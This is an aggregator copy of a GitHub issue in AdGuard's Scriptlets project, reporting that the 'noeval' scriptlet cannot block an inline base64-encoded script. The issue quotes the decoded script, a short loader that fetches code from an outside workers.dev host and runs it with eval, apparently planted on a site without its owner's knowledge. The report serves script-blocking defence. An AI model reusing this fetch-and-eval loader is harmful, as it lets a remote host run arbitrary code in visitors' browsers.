AdguardTeam / AdguardTeam/Scriptlets

Fix 'noeval' — cannot break inline 'data:text/javascript;base64' script

Open
#358 3 comments 0 reactions 1 assignee Claimed by @maximtop View on GitHub
bug Priority: P4
Dominant language
JavaScript
Stars
195
Forks
33
PR merge metrics
No merged PRs in 30d

Description

### Inline script

``

### Decoded script

`const get_script=()=>{const request=new XMLHttpRequest();request.open('GET','https://dust-0001.delorazahnow.workers.dev/',false);request.send(null);return request.responseText;}
eval(get_script());`

### Expected behavior

'noeval' does not break encoded or decoded script.

Related to https://github.com/AdguardTeam/AdguardFilters/issues/160588 The script was probably added without the site owner's knowledge, and now the script is not on the site.

### Environment

Chrome 116
`AdGuard 4.2.167` or `AdGuard for Windows 7.15 n8`

Contributor guide

No contributing guide indexed for this repository

Assessment

This issue has not been assessed yet.

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.